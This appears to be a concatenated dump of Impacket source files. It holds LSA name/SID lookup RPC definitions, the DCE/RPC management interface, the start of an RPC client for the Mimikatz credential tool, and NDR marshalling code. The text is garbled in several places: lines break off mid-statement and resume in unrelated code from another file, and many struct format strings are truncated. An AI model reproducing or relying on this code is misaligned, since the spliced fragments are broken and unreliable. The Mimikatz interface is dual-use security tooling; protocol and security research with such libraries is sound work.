3.1.4.4 LsarGetUserName (Opnum 45) class LsarGetUserName(NDRCALL): opnum = 45 structure = ( ('SystemName', LPWSTR), ('UserName', PRPC_UNICODE_STRING), ('DomainName', PRPC_UNICODE_STRING), ) class LsarGetUserNameResponse(NDRCALL): structure = ( ('UserName', PRPC_UNICODE_STRING), ('DomainName', PRPC_UNICODE_STRING), ('ErrorCode', NTSTATUS), ) # 3.1.4.5 LsarLookupNames4 (Opnum 77) class LsarLookupNames4(NDRCALL): opnum = 77 structure = ( ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupNames4Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.6 LsarLookupNames3 (Opnum 68) class LsarLookupNames3(NDRCALL): opnum = 68 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupNames3Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.7 LsarLookupNames2 (Opnum 58) class LsarLookupNames2(NDRCALL): opnum = 58 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupNames2Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.8 LsarLookupNames (Opnum 14) class LsarLookupNames(NDRCALL): opnum = 14 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('Count', ULONG), ('Names', RPC_UNICODE_STRING_ARRAY), ('TranslatedSids', LSAPR_TRANSLATED_SIDS), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ) class LsarLookupNamesResponse(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedSids', LSAPR_TRANSLATED_SIDS), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.9 LsarLookupSids3 (Opnum 76) class LsarLookupSids3(NDRCALL): opnum = 76 structure = ( ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupSids3Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.10 LsarLookupSids2 (Opnum 57) class LsarLookupSids2(NDRCALL): opnum = 57 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ('LookupOptions', ULONG), ('ClientRevision', ULONG), ) class LsarLookupSids2Response(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) # 3.1.4.11 LsarLookupSids (Opnum 15) class LsarLookupSids(NDRCALL): opnum = 15 structure = ( ('PolicyHandle', LSAPR_HANDLE), ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), ('TranslatedNames', LSAPR_TRANSLATED_NAMES), ('LookupLevel', LSAP_LOOKUP_LEVEL), ('MappedCount', ULONG), ) class LsarLookupSidsResponse(NDRCALL): structure = ( ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), ('TranslatedNames', LSAPR_TRANSLATED_NAMES), ('MappedCount', ULONG), ('ErrorCode', NTSTATUS), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 14 : (LsarLookupNames, LsarLookupNamesResponse), 15 : (LsarLookupSids, LsarLookupSidsResponse), 45 : (LsarGetUserName, LsarGetUserNameResponse), 57 : (LsarLookupSids2, LsarLookupSids2Response), 58 : (LsarLookupNames2, LsarLookupNames2Response), 68 : (LsarLookupNames3, LsarLookupNames3Response), 76 : (LsarLookupSids3, LsarLookupSids3Response), 77 : (LsarLookupNames4, LsarLookupNames4Response), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hLsarGetUserName(dce, userName = NULL, domainName = NULL): request = LsarGetUserName() request['SystemName'] = NULL request['UserName'] = userName request['DomainName'] = domainName return dce.request(request) def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupNames4() request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupNames3() request['PolicyHandle'] = policyHandle request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupNames2() request['PolicyHandle'] = policyHandle request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): request = LsarLookupNames() request['PolicyHandle'] = policyHandle request['Count'] = len(names) for name in names: itemn = RPC_UNICODE_STRING() itemn['Data'] = name request['Names'].append(itemn) request['TranslatedSids']['Sids'] = NULL request['LookupLevel'] = lookupLevel return dce.request(request) def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): request = LsarLookupSids2() request['PolicyHandle'] = policyHandle request['SidEnumBuffer']['Entries'] = len(sids) for sid in sids: itemn = LSAPR_SID_INFORMATION() itemn['Sid'].fromCanonical(sid) request['SidEnumBuffer']['SidInfo'].append(itemn) request['TranslatedNames']['Names'] = NULL request['LookupLevel'] = lookupLevel request['LookupOptions'] = lookupOptions request['ClientRevision'] = clientRevision return dce.request(request) def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): request = LsarLookupSids() request['PolicyHandle'] = policyHandle request['SidEnumBuffer']['Entries'] = len(sids) for sid in sids: itemn = LSAPR_SID_INFORMATION() itemn['Sid'].fromCanonical(sid) request['SidEnumBuffer']['SidInfo'].append(itemn) request['TranslatedNames']['Names'] = NULL request['LookupLevel'] = lookupLevel return dce.request(request) impacket-impacket_0_11_0/impacket/dcerpc/v5/mgmt.py000066400000000000000000000122021446174712300223200ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [C706] Remote Management Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray from impacket.dcerpc.v5.epm import PRPC_IF_ID from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.uuid import uuidtup_to_bin from impacket import nt_errors MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in nt_errors.ERROR_MESSAGES: error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ class rpc_if_id_p_t_array(NDRUniConformantArray): item = PRPC_IF_ID class rpc_if_id_vector_t(NDRSTRUCT): structure = ( ('count',ULONG), ('if_id',rpc_if_id_p_t_array), ) structure64 = ( ('count',ULONGLONG), ('if_id',rpc_if_id_p_t_array), ) class rpc_if_id_vector_p_t(NDRPOINTER): referent = ( ('Data', rpc_if_id_vector_t), ) error_status = ULONG ################################################################################ # STRUCTURES ################################################################################ ################################################################################ # RPC CALLS ################################################################################ class inq_if_ids(NDRCALL): opnum = 0 structure = ( ) class inq_if_idsResponse(NDRCALL): structure = ( ('if_id_vector', rpc_if_id_vector_p_t), ('status', error_status), ) class inq_stats(NDRCALL): opnum = 1 structure = ( ('count', ULONG), ) class inq_statsResponse(NDRCALL): structure = ( ('count', ULONG), ('statistics', DWORD_ARRAY), ('status', error_status), ) class is_server_listening(NDRCALL): opnum = 2 structure = ( ) class is_server_listeningResponse(NDRCALL): structure = ( ('status', error_status), ) class stop_server_listening(NDRCALL): opnum = 3 structure = ( ) class stop_server_listeningResponse(NDRCALL): structure = ( ('status', error_status), ) class inq_princ_name(NDRCALL): opnum = 4 structure = ( ('authn_proto', ULONG), ('princ_name_size', ULONG), ) class inq_princ_nameResponse(NDRCALL): structure = ( ('princ_name', NDRUniConformantVaryingArray), ('status', error_status), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0 : (inq_if_ids, inq_if_idsResponse), 1 : (inq_stats, inq_statsResponse), 2 : (is_server_listening, is_server_listeningResponse), 3 : (stop_server_listening, stop_server_listeningResponse), 4 : (inq_princ_name, inq_princ_nameResponse), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hinq_if_ids(dce): request = inq_if_ids() return dce.request(request) def hinq_stats(dce, count = 4): request = inq_stats() request['count'] = count return dce.request(request) def his_server_listening(dce): request = is_server_listening() return dce.request(request, checkError=False) def hstop_server_listening(dce): request = stop_server_listening() return dce.request(request) def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): request = inq_princ_name() request['authn_proto'] = authn_proto request['princ_name_size'] = princ_name_size return dce.request(request, checkError=False) impacket-impacket_0_11_0/impacket/dcerpc/v5/mimilib.py000066400000000000000000000164211446174712300230050ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Mimikatz Interface implementation, based on @gentilkiwi IDL # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import binascii import random from impacket import nt_errors from impacket.dcerpc.v5.dtypes import DWORD, ULONG from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.uuid import uuidtup_to_bin from impacket.structure import Structure MSRPC_UUID_MIMIKATZ = uuidtup_to_bin(('17FC11E9-C258-4B8D-8D07-2F4125156244', '1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in nt_errors.ERROR_MESSAGES: error_msg_short = nt_errors.ERROR_MESSAGES[key][0] error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] return 'Mimikatz SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'Mimikatz SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ CALG_DH_EPHEM = 0x0000aa02 TPUBLICKEYBLOB = 0x6 CUR_BLOB_VERSION = 0x2 ALG_ID = DWORD CALG_RC4 = 0x6801 ################################################################################ # STRUCTURES ################################################################################ class PUBLICKEYSTRUC(Structure): structure = ( ('bType','B=0'), ('bVersion','B=0'), ('reserved',' 0: pad = (alignment - (soFar % alignment)) % alignment else: pad = 0 return pad def getData(self, soFar = 0): data = b'' for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: # Alignment of Primitive Types # NDR enforces NDR alignment of primitive data; that is, any primitive of size n # octets is aligned at a octet stream index that is a multiple of n. # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates # the number of an octet in an octet stream when octets are numbered, beginning with 0, # from the first octet in the stream. Where necessary, an alignment gap, consisting of # octets of unspecified value, precedes the representation of a primitive. The gap is # of the smallest size sufficient to align the primitive. pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data += b'\xbf'*pad res = self.pack(fieldName, fieldTypeOrClass, soFar) data += res soFar += len(res) except Exception as e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def fromString(self, data, offset=0): offset0 = offset for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: # Alignment of Primitive Types # NDR enforces NDR alignment of primitive data; that is, any primitive of size n # octets is aligned at a octet stream index that is a multiple of n. # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates # the number of an octet in an octet stream when octets are numbered, beginning with 0, # from the first octet in the stream. Where necessary, an alignment gap, consisting of # octets of unspecified value, precedes the representation of a primitive. The gap is # of the smallest size sufficient to align the primitive. offset += self.calculatePad(fieldTypeOrClass, offset) offset += self.unpack(fieldName, fieldTypeOrClass, data, offset) except Exception as e: LOG.error(str(e)) LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256])) raise return offset - offset0 def pack(self, fieldName, fieldTypeOrClass, soFar = 0): if isinstance(self.fields[fieldName], NDR): return self.fields[fieldName].getData(soFar) data = self.fields[fieldName] # void specifier if fieldTypeOrClass[:1] == '_': return b'' # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: try: return self.pack(fieldName, two[0], soFar) except: self.fields[fieldName] = eval(two[1], {}, self.fields) return self.pack(fieldName, two[0], soFar) if data is None: raise Exception('Trying to pack None') # literal specifier if fieldTypeOrClass[:1] == ':': if hasattr(data, 'getData'): return data.getData() return data # struct like specifier return pack(fieldTypeOrClass, data) def unpack(self, fieldName, fieldTypeOrClass, data, offset=0): if isinstance(self.fields[fieldName], NDR): return self.fields[fieldName].fromString(data, offset) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.unpack(fieldName, two[0], data, offset) # literal specifier if fieldTypeOrClass == ':': if isinstance(fieldTypeOrClass, NDR): return self.fields[fieldName].fromString(data, offset) else: dataLen = self.getDataLen(data, offset) self.fields[fieldName] = data[offset:offset+dataLen] return dataLen # struct like specifier self.fields[fieldName] = unpack_from(fieldTypeOrClass, data, offset)[0] return calcsize(fieldTypeOrClass) def calcPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.calcPackSize(two[0], data) # literal specifier if fieldTypeOrClass[:1] == ':': return len(data) # struct like specifier return calcsize(fieldTypeOrClass) def calcUnPackSize(self, fieldTypeOrClass, data, offset=0): if isinstance(fieldTypeOrClass, str) is False: return len(data) - offset # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.calcUnPackSize(two[0], data, offset) # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: return len(data) - offset # literal specifier if fieldTypeOrClass[:1] == ':': return len(data) - offset # struct like specifier return calcsize(fieldTypeOrClass) # NDR Primitives class NDRSMALL(NDR): align = 1 structure = ( ('Data', 'b=0'), ) class NDRUSMALL(NDR): align = 1 structure = ( ('Data', 'B=0'), ) class NDRBOOLEAN(NDRSMALL): def dump(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ if msg != '': print(msg, end=' ') if self['Data'] > 0: print(" TRUE") else: print(" FALSE") class NDRCHAR(NDR): align = 1 structure = ( ('Data', 'c'), ) class NDRSHORT(NDR): align = 2 structure = ( ('Data', ' 0: soFar += pad0 arrayPadding = b'\xef'*pad0 else: arrayPadding = b'' # And now, let's pretend we put the item in soFar += arrayItemSize data = self.fields[fieldName].getData(soFar) data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data else: pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data += b'\xcc'*pad data += self.pack(fieldName, fieldTypeOrClass, soFar) # Any referent information to pack? if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): data += self.fields[fieldName].getDataReferents(soFar0 + len(data)) data += self.fields[fieldName].getDataReferent(soFar0 + len(data)) soFar = soFar0 + len(data) except Exception as e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def calcPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: answer = 0 for each in data: if self.isNDR(self.item): item = ':' else: item = self.item answer += self.calcPackSize(item, each) return answer else: return NDR.calcPackSize(self, fieldTypeOrClass, data) def getArrayMaximumSize(self, fieldName): if self.fields[fieldName].fields['MaximumCount'] is not None and self.fields[fieldName].fields['MaximumCount'] > 0: return self.fields[fieldName].fields['MaximumCount'] else: return self.fields[fieldName].getArraySize() def getArraySize(self, fieldName, data, offset=0): if self._isNDR64: arrayItemSize = 8 arrayUnPackStr = ' align: align = tmpAlign return align def getData(self, soFar = 0): data = b'' soFar0 = soFar for fieldName, fieldTypeOrClass in self.structure: try: if self.isNDR(fieldTypeOrClass) is False: # If the item is not NDR (e.g. ('MaximumCount', ' 0: soFar += pad data += b'\xca'*pad res = self.pack(fieldName, fieldTypeOrClass, soFar) data += res soFar = soFar0 + len(data) except Exception as e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def pack(self, fieldName, fieldTypeOrClass, soFar = 0): # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: answer = b'' if self.isNDR(self.item): item = ':' dataClass = self.item self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64) else: item = self.item dataClass = None self.fields['_tmpItem'] = item for each in (self.fields[fieldName]): pad = self.calculatePad(self.item, len(answer)+soFar) if pad > 0: answer += b'\xdd' * pad if dataClass is None: if item == 'c' and PY3 and isinstance(each, int): # Special case when dealing with PY3, here we have an integer we need to convert each = bytes([each]) answer += pack(item, each) else: answer += each.getData(len(answer)+soFar) if dataClass is not None: for each in self.fields[fieldName]: if isinstance(each, NDRCONSTRUCTEDTYPE): answer += each.getDataReferents(len(answer)+soFar) answer += each.getDataReferent(len(answer)+soFar) del(self.fields['_tmpItem']) if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray): # First field points to a field with the amount of items self.setArraySize(len(self.fields[fieldName])) else: self.fields[two[1]] = len(self.fields[fieldName]) return answer else: return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar) def fromString(self, data, offset=0): offset0 = offset for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: if self.isNDR(fieldTypeOrClass) is False: # If the item is not NDR (e.g. ('MaximumCount', ' 0: soFarItems +=pad if dataClassOrCode is None: nsofar = soFarItems + calcsize(item) answer.append(unpack_from(item, data, offset+soFarItems)[0]) else: itemn = dataClassOrCode(isNDR64=self._isNDR64) size = itemn.fromString(data, offset+soFarItems) answer.append(itemn) nsofar += size + pad numItems -= 1 soFarItems = nsofar if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE): # We gotta go over again, asking for the referents answer2 = [] for itemn in answer: size = itemn.fromStringReferents(data, soFarItems+offset) soFarItems += size size = itemn.fromStringReferent(data, soFarItems+offset) soFarItems += size answer2.append(itemn) answer = answer2 del answer2 del(self.fields['_tmpItem']) self.fields[fieldName] = answer return soFarItems + offset - offset0 else: return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, offset) class NDRUniFixedArray(NDRArray): structure = ( ('Data',':'), ) # Uni-dimensional Conformant Arrays class NDRUniConformantArray(NDRArray): item = 'c' structure = ( #('MaximumCount', '